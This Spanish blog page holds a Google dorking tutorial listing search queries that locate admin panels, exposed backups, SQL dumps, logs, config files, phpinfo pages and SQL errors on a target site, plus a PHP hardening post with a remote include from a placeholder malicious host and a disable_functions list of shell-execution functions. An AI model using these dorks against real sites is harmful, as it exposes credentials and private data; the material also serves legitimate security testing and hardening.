Mostrando entradas con la etiqueta directivas. Mostrar todas las entradas
Mostrando entradas con la etiqueta directivas. Mostrar todas las entradas

viernes, 29 de mayo de 2015

Google Hacking

Introduccion
Buenas, en esta entrada trataré de explicar acerca de Google Hacking para usarlo en nuestras pruebas de penetracion o recoleccion de informacion en cualquier cosa que nos sirva, ya que con Google es solo saber utilizar de manera adecuada los operadores/directivas.

Tambien les puede interesar las siguientes entradas:
http://arthusu.blogspot.mx/2013/03/como-obtener-mejores-resultados-al.html
http://arthusu.blogspot.mx/2015/04/arthusu-mi-metodologia-pruebas-de.html

Informacion que nos interesa

En el caso de estar recolectando informacion sobre una pagina puede haber demasiadas cosas que nos interesarian saber, entre las cuales se encuentran:

* El lenguaje que usa la pagina web
* El sitema operativo del servidor web
* El software del sistema operativo del servidor
* La version del software del servidor
* Si el sitio web tiene Plugins
* Si el sitio web tiene CMS popular
* Que tipos de archivos contiene mas que otros
* La base de datos que utiliza
* Los subdominios que tiene

La mayoria de la informacion que nos puede interesar puede venir de vulnerabilidades, tales como:

* Errores en la web o servidor
* Directorios que sabemos que pueden incluir informacion sensible
* Archivos que incluyen contraseñas
* Firewalls web

Una de las paginas que incluye mucha informacion sobre dorks de google para poder realizar nuestras busquedas es: https://www.exploit-db.com/google-hacking-database/ 

Busquedas especificas

Para realizar busquedas especificas de lo que queramos encontrar en google utilizaremos los famosos "operadores" que incluye para referirse a cierto tipo de cosas. Comentare de manera rapida los usos de cada uno:

- Con este signo menos excluimos algunos resultados.
+ Con este operador + podemos incluir varias busquedas en los resultados.
~ Con esta tilde se buscan sinonimos de la palabra que le asignes.
* Se utiliza el asterisco como comodin de palabras extra.
" Podemos usar las comillas dobles para buscar una palabra exacta que este entre ellas.

OR (|) Puedes buscar almenos una de varias palabras


site: Obtiene resultados de sitios o dominios que le asignes.
link: Busca paginas externas que contienen enlaces del sitio que le asignes.
related: Busca sitios web relacionados al que le asignes.
info: Obtiene informacion sobre el sitio o dominio que le asignes.
cache: Comprueba como era la pagina o direccion que le asignes la ultima vez que google lo visito.
intitle: Con este operador buscamos en el titulo de la pagina entre las etiquetas  <title>
inurl: Con este operador buscamos que la url incluya lo que le asigamos en la busqueda.
define: Este operador se utiliza para definir un termino de la palabra que le asignes.
filetype/ext: Con estos operadores buscamos un archivo por su extension o tipo de archivo.
intext: Incluye terminos que esten en el <body> de la pagina.
insubject: Incluye terminos que esten en el las etiquetas de titulo de la pagina.
inanchor: Incluye terminos que tengan la etiqueta <a> dentro del <body> de la pagina web.


Google ignora algunas palabras

Google ignora varias palabras como son "a", "el", "de" ... que muchas veces solo harian la busqueda mas pesada por lo que es recomendable no utilizarlas cuando intentemos encontrar informacion. Y podemos hacer busquedas inteligentes en lugar de escribir "me duele la cabeza" podriamos escribir "dolor cabeza" con lo cual encontrariamos mejores resultados.

Buscar lo mas comun o mas afectado

Lo mejor para encontrar cosas es irnos a buscar lo mas comun o mas afectado en cualquier tipo de aplicacion web.

Mensajes de error: Failed to open stream, access denied, fatal error, division by zero, warning, error, include, ORA-xxxx, database error, error ocurred, error online, cannot modified header, a syntax error, the page cannot be found, internet information services, error diagnostic information, etc.
Mensajes HTTP: 200 OK, 300 Multiple choices, 301 Moved permanently, 302 Found, 304 Not Modified, 307 Temporary Redirect, 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found, 500 Internal server error, 501 Not implemented, 503 Service unavailable, 550 Permission denied, etc. Puedes ver una lista mas completa aqui: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Servidores web: ISS, Apache, Apache Tomcat, Nginx, Lighttpd, Jigsaw, Klone, Abys web server, Oracle web tier, x5 web server, zeus web server, IBM HTTP server, LiteSpeed web server, etc. Puedes ver una lista mas completa aqui: http://en.wikipedia.org/wiki/Comparison_of_web_server_software
CMS: Wordpress,joomla, drupal, prestashop, tynicms, etc. 


Busquedas comunes para vulnerabilidades

Hay muchos dorks, los dorks son de manera sencilla una simple cadena de caracteres con los operadores anteriores la cual nos arroja un resultado deseado, tal como "tarjetas de creditos", "contraseñas de usuarios", "paginas phishing", etc.

Vamos a ver algunas de las tecnicas que yo utilizo muy comunmente para encontrar algunas cosas en algun sitio web:

Crawling:

Con esto puedes ver todo lo que ha indexado google del sitio web que buscas.

site:tudominio.com

Pagina de administracion:

Podemos encontrar paginas de administracion utilizando. Algunos de los operadores y palabras comunes.

site:dominio.com intext:admin OR intext:administrator
site:dominio.com inurl:admin OR inurl:administrator

Subdominios:

site:dominioprincipal.com -site:www.dominioprincipal.com
site:dominioprincipal.com -site:www.dominioprincipal.com -site:www.subdominio1.principal.com

Extensiones:

site:dominio.com ext:pdf | ext:log | ext:txt | ext:bak

Algunas extesiones:  pdf, xls, rar, zip , tar.gz, htm, php, bak, sql, csv, txt, log, conf

Archivos phpinfo, robots, o backups:

site:.net intitle:phpinfo() inurl:info.php
inurl:"robots.txt" intext:"disallow:"
intext:config ext:bak intitle:"index of"


Acceso a directorios:

intitle:"index of"
site:tusitio.com intitle:"index of"

Errores: Los errores son muy comunes en cualquier sitio web o servidor:



Crea tu propio DORK

Para crear un dork solo necesitamos utilizar los operadores ya conocidos anteriormente. Muchos usuarios intentan con cosas comunes que ven o simplemente encuentran una vulnerabilidad en un CMS no muy conocidos y le pasan operadores para encontrarla.

Anteriormente puse algunos dorks que no vi en ningun lugar solo se me ocurrio utilizar los operadores por que podrian ser utiles para encontrar informacion, por ejemplo... una manera de encontrar un poco mas rapido la informacion seria utilizar el tip recomendado en la entrada que les recomende al inicio:

^inurl:"e-vendo.php?shop="


Otras formas de Google Hacking:

Google Hacking Imagenes:

Bueno esto no es algo nuevo pero podriamos utilizar la busqueda avanzada que nos proporciona google: https://www.google.es/advanced_image_search

O tambien intentar buscar la imagen deseada utilizando el mismo buscador de imagenes, ya sea subiendo la imagen o pegando la URL, podriamos encontrar cosas interesantes de la empresa o persona relacionada a la pagina web.

Google Hacking Mapas:

Esto tampoco es nuevo pero con los mapas de google: https://www.google.com/maps/search/
Nos es muy facil encontrar informacion sobre donde se encuentra la empresa o persona relacionada con la pagina web.

Dorks Comunes y que nos sirven en Pentest:


  • site:ejemplo.com intitle:index.of
  • site:ejemplo.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini
  • site:ejemplo.com ext:sql | ext:dbf | ext:mdb
  • site:ejemplo.com ext:log
  • site:ejemplo.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup
  • site:ejemplo.com inurl:login
  • site:ejemplo.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"
  • site:ejemplo.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv
  • site:ejemplo.com ext:php intitle:phpinfo "published by the PHP Group"


Bueno y hasta aqui este "tutorial" si se le puede llamar asi, no es nada de otro mundo, pueden ver muchos ejemplos en la pagina exploit-db la cual contiene muchos ejemplos para usar estos operadores, espero que a mas de uno le sea de utilidad y si encontrado lo que buscaban genial!

miércoles, 9 de abril de 2014

[Parte 9] Seguridad en PHP

Directivas de configuracion

Aunque estamos hablando sobre la seguridad en PHP, hay cosas como las configuraciones de PHP con la que todo programador debe estar familiarizado, tenga en cuenta que estas configuraciones pueden afectar el codigo que escriba, de manera que no se vera igual en otro servidor donde no tenga la misma configuracion.

Para saber donde se encuentra nuestro archivo de configuracion podemos usar la funcion phpinfo() la cual nos muestra informacion sobre la configuracion de php:

 <?php
 phpinfo();?>

Cuando nos arroja el contenido de las configuraciones de php podemos observar:


allow_url_fopen

Como se mostraba en la parte 6 de seguridad en php con la directiva allow_url_fopen podemos hacer referencia a archivos remotos como si fuesen locales...




 <?php
 $contenido = file_get_contents('http://ejemplo.com/xss.html');?>


Tambien en la parte 5 de seguridad en PHP vimos como podia ser peligroso al usar include o require:


 <?php
 include 'http://maligno.ejemplo.com/maligno.inc';?>

Es por eso que se recomienda deshabilitar la directiva allow_url_fopen a menos que su aplicacion requiera el uso de ella.

disable_functions

La directiva disable_functions es util para poder garantizar que alguna funcion peligrosa no pueda ser usada, un ejemplo de funciones que no te gustaria utilizar podria ser el siguiente:

disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Aunque es mejor seleccionar las funciones que tu pienses que no necesiten estar activas.


display_errors

Esta directiva muestra los errores que puede contener nuestra aplicacion, aunque en forma de desarrollo es una buena alternativa, ya que nos deja ver en que estamos equivocados, en produccion es un error grave, ya que les estamos dando informacion a cualquier usuario que pueda ver nuestro script PHP, es por eso que se recomienda desactivar en modo de produccion.


enable_dl

Esta directiva se utiliza para activar o desactivar la funcion dl() la cual permite cargar una extension de PHP en tiempo de ejecucion. 



Usando la funcion dl() podemos eludir las restricciones de open_basedir y debe ser desactivada si su aplicacion lo requiere.



error_reporting

Muchas de las vulnerabilidades de seguridad son de la utilizacion de variables no inicializadas o de practicas de programacion descuidada. Es por eso que se recomienda activar error_reporting en E_ALL por lo menos, para que PHP nos informe sobre ello.


file_uploads

Esta directiva determina si se permite o no la carga de archivos, si la aplicacion no necesita aceptar carga de archivos es mejor desactivar esta directiva. 


log_errors

Si esta activado registra todos lo errores y los guarda en el archivo indicado en la directiva error_log.
Esto es muy util ya que podemos llevar un historial de errores de nuestra aplicacion, cuando display_error esta desactivado lo que permite log_errors es sumamente de suma importancia por que de lo contrario no se le avisa sobre ningun error en su aplicacion.
Se recomienda que log_errors se mantenga activado.


magic_quotes_gpc


Esta directiva escapa de forma automatica todos los caracteres que contengan ', ", \ y NULL por los metodos POST, GET y COOKIE.
Es lo mismo que usar la funcion addslashes().
Hay dos razones por la que no debes tener activada esta directiva, las cuales son:

1.- Añade complejidad al filtrado de entrada.
2.- No esta utilizando funciones nativas para escapar los datos a su base de datos.

Esta funcion se recomienda tener desactivada.


memory_limit

Establece el maximo de memoria en bytes que un script puede consumir. Se recomienda usar 8M. La directiva memory_limit solo esta disponible cuando PHP se compilo usando --enable-memory-limit.


open_basedir

La directiva open_basedir limita los archivos que pueden ser abiertos por PHP en un directorio especifico. Cuando un script intenta acceder al sistema de ficheros, por ejemplo, usando include() o fopen(), se comprueba la ubicacion del fichero. Cuando el fichero esta fuera del arbol del directorio especificado, PHP rechazara acceder a el.

open_basedir = /ruta/para

Asegurese de que la directiva enable_dl este desactivada, de lo contrario las restricciones de open_basedir  pueden ser evitadas.

register_globals

Para mas informacion sobre esta directiva se explica en la parte 1 de seguridad en php: http://www.arthusu.com.mx/2014/02/parte-1-seguridad-en-php.html


safe_mode

Para mas informacion sobre esta directiva se explica en la parte 8 de seguridad en php: http://www.arthusu.com.mx/2014/04/parte-8-seguridad-en-php.html



Referencias:

* Essential PHP Security
* PHP documentacion oficial
* PHPsec
* Cyberciti